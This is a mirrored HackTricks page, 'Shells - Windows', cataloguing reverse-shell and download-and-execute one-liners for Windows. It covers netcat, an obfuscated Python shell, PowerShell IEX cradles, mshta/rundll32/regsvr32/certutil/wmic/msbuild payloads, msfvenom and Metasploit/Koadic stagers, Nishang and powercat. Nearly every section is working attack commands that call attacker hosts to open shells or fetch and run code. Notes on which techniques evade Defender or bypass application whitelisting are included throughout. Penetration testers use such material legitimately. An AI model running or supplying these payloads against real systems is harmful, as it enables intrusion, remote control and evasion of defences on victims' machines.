mirror of
https://github.com/carlospolop/hacktricks.git
synced 2023-12-14 19:12:55 +01:00
548 lines
19 KiB
Markdown
548 lines
19 KiB
Markdown
# Shells - Windows
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The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) for linux.
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Obviously **there isn't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be \(ab\)used perform some kind of unexpected actions like **execute arbitrary code.**
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## NC
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```bash
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nc.exe -e cmd.exe <Attacker_IP> <PORT>
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```
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## SBD
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**sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption \(by Christophe Devine\), program execution \(-e option\), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe \(part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe\) can be uploaded to a Windows box as a Netcat alternative.
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## Python
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```bash
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#Windows
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C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
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```
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## Perl
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```bash
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perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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```
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## Ruby
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```bash
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#Windows
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ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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```
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## Lua
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```bash
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lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
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```
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## OpenSSH
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Attacker \(Kali\)
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```bash
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openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
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openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
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openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
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```
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Victim
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```bash
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#Linux
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openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
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#Windows
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openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
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```
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## Powershell
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```bash
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powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
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powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
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Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
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echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
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```
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Process performing network call: **powershell.exe**
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Payload written on disk: **NO** \(_at least nowhere I could find using procmon !_\)
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```bash
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powershell -exec bypass -f \\webdavserver\folder\payload.ps1
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```
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Process performing network call: **svchost.exe**
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Payload written on disk: **WebDAV client local cache**
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**One liner:**
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```bash
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$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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```
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**Get more info about different Powershell Shells at the end of this document**
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## Mshta
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```bash
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mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
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```
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Process performing network call: **mshta.exe**
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Payload written on disk: **IE local cache**
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```bash
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mshta http://webserver/payload.hta
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```
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Process performing network call: **mshta.exe**
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Payload written on disk: **IE local cache**
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```bash
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mshta \\webdavserver\folder\payload.hta
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```
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Process performing network call: **svchost.exe**
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Payload written on disk: **WebDAV client local cache**
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#### **Example of hta-psh reverse shell \(use hta to download and execute PS backdoor\)**
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```markup
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<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
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```
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**You can download & execute very easily a Koadic zombie using the stager hta**
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#### hta example
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```markup
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<html>
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<head>
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<HTA:APPLICATION ID="HelloExample">
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<script language="jscript">
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var c = "cmd.exe /c calc.exe";
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new ActiveXObject('WScript.Shell').Run(c);
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</script>
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</head>
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<body>
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<script>self.close();</script>
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</body>
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</html>
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```
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**Extracted from** [**here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
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#### **mshta - sct**
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```markup
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<?XML version="1.0"?>
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<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
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<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
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<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
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<scriptlet>
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<public>
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</public>
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<script language="JScript">
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<![CDATA[
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var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
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]]>
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</script>
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</scriptlet>
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```
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**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
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#### **Mshta - Metasploit**
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```bash
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use exploit/windows/misc/hta_server
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msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
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msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
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msf exploit(windows/misc/hta_server) > exploit
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```
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```bash
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Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
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```
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**Detected by defender**
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## **Rundll32**
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[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
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```bash
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rundll32 \\webdavserver\folder\payload.dll,entrypoint
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```
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Process performing network call: **svchost.exe**
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Payload written on disk: **WebDAV client local cache**
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```bash
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rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
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```
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Process performing network call: **rundll32.exe**
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Payload written on disk: **IE local cache**
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**Detected by defender**
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**Rundll32 - sct**
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```bash
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<?XML version="1.0"?>
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<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
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<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
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<scriptlet>
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<public>
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</public>
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<script language="JScript">
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<![CDATA[
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var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
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]]>
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</script>
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</scriptlet>
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```
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**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
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#### **Rundll32 - Metasploit**
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```bash
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use windows/smb/smb_delivery
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run
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#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
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```
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**Rundll32 - Koadic**
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```bash
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use stager/js/rundll32_js
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set SRVHOST 192.168.1.107
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set ENDPOINT sales
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run
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#Koadic will tell you what you need to execute inside the victim, it will be something like:
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rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
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```
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## Regsvr32
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```bash
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regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
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```
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Process performing network call: **regsvr32.exe**
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Payload written on disk: **IE local cache**
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```text
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regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
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```
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Process performing network call: **svchost.exe**
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Payload written on disk: **WebDAV client local cache**
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**Detected by defender**
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#### Regsvr32 -sct
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```markup
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<?XML version="1.0"?>
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<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
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<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
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<scriptlet>
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<registration
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progid="PoC"
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classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
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<script language="JScript">
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<![CDATA[
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var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
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]]>
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</script>
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</registration>
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</scriptlet>
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```
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**Extracted from** [**here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
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#### **Regsvr32 - Metasploit**
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```bash
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use multi/script/web_delivery
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set target 3
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set payload windows/meterpreter/reverse/tcp
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set lhost 10.2.0.5
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run
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#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
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```
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**You can download & execute very easily a Koadic zombie using the stager regsvr**
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## Certutil
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Download a B64dll, decode it and execute it.
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```bash
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certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
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```
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Download a B64exe, decode it and execute it.
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```bash
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certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
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```
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**Detected by defender**
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## **Cscript/Wscript**
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```bash
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powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
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```
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**Cscript - Metasploit**
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```bash
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msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
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```
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**Detected by defender**
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## PS-Bat
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```bash
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\\webdavserver\folder\batchfile.bat
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```
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Process performing network call: **svchost.exe**
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Payload written on disk: **WebDAV client local cache**
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```bash
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msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
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impacket-smbserver -smb2support kali `pwd`
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```
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```bash
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\\10.8.0.3\kali\shell.bat
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```
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**Detected by defender**
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## **MSIExec**
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Attacker
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```text
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msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
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python -m SimpleHTTPServer 80
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```
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Victim:
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```text
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victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
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```
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**Detected**
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## **Wmic**
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```text
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wmic os get /format:"https://webserver/payload.xsl"
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```
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Process performing network call: **wmic.exe**
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Payload written on disk: **IE local cache**
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Example xsl file:
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```text
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<?xml version='1.0'?>
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<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
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<output method="text"/>
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<ms:script implements-prefix="user" language="JScript">
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<![CDATA[
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var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
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]]>
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</ms:script>
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</stylesheet>
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```
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Extracted from [here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)
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**Not detected**
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**You can download & execute very easily a Koadic zombie using the stager wmic**
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## Msbuild
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```text
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cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
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```
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Process performing network call: **svchost.exe**
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Payload written on disk: **WebDAV client local cache**
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You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.
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Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
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```text
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
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```
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**Not detected**
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## **CSC**
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Compile C\# code in the victim machine.
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```text
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
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```
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You can download a basic C\# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
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**Not deteted**
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## **Regasm/Regsvc**
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```text
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
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|
```
|
|
|
|
Process performing network call: **svchost.exe**
|
|
Payload written on disk: **WebDAV client local cache**
|
|
|
|
**I haven't tried it**
|
|
|
|
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
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|
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## Odbcconf
|
|
|
|
```text
|
|
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|
```
|
|
|
|
Process performing network call: **svchost.exe**
|
|
Payload written on disk: **WebDAV client local cache**
|
|
|
|
**I haven't tried it**
|
|
|
|
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
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|
|
## Powershell Shells
|
|
|
|
### PS-Nishang
|
|
|
|
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
|
|
|
In the **Shells** folder there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script, append to the end of the file:
|
|
|
|
```text
|
|
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
|
```
|
|
|
|
Start serving the script in a web server and execute in the victim:
|
|
|
|
```text
|
|
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
|
```
|
|
|
|
Defender doesn't detect it as malicious code \(yet, 3/04/2019\).
|
|
|
|
**TODO: Check other nishang shells**
|
|
|
|
### **PS-Powercat**
|
|
|
|
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
|
|
|
Download, start web server, star listener and execute in victim:
|
|
|
|
```text
|
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
|
```
|
|
|
|
Defender doesn't detect it as malicious code \(yet, 3/04/2019\).
|
|
|
|
**Other options offered by powercat:**
|
|
|
|
Bind shells, Reverse shell \(TCP, UDP, DNS\), Port redirect, upload/download, Generate payloads, Serve files...
|
|
|
|
```text
|
|
Serve a cmd Shell:
|
|
powercat -l -p 443 -e cmd
|
|
Send a cmd Shell:
|
|
powercat -c 10.1.1.1 -p 443 -e cmd
|
|
Send a powershell:
|
|
powercat -c 10.1.1.1 -p 443 -ep
|
|
Send a powershell UDP:
|
|
powercat -c 10.1.1.1 -p 443 -ep -u
|
|
TCP Listener to TCP Client Relay:
|
|
powercat -l -p 8000 -r tcp:10.1.1.16:443
|
|
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
|
|
powercat -c 10.1.1.15 -p 443 -e cmd -g
|
|
Start A Persistent Server That Serves a File:
|
|
powercat -l -p 443 -i C:\inputfile -rep
|
|
```
|
|
|
|
### Empire
|
|
|
|
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
|
|
|
Create a powershell launcher, save it in a file and download and execute it.
|
|
|
|
```text
|
|
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
|
```
|
|
|
|
**Detected as malicious code**
|
|
|
|
### MSF-Unicorn
|
|
|
|
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
|
|
|
Create a powershell version of metasploit backdoor using unicorn
|
|
|
|
```text
|
|
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
|
```
|
|
|
|
Start msfconsole with the created resource:
|
|
|
|
```text
|
|
msfconsole -r unicorn.rc
|
|
```
|
|
|
|
Start a web server serving the _powershell\_attack.txt_ file and execute in the victim:
|
|
|
|
```text
|
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|
```
|
|
|
|
**Detected as malicious code**
|
|
|
|
## More
|
|
|
|
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded \(cyphered\)
|
|
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[
|
|
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection \(IEX\)
|
|
|
|
## Bibliography
|
|
|
|
{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" caption="" %}
|
|
|
|
{% embed url="https://gist.github.com/Arno0x" caption="" %}
|
|
|
|
{% embed url="https://github.com/GreatSCT/GreatSCT" caption="" %}
|
|
|
|
{% embed url="https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/" caption="" %}
|
|
|
|
{% embed url="https://www.hackingarticles.in/koadic-com-command-control-framework/" caption="" %}
|
|
|
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" caption="" %}
|
|
|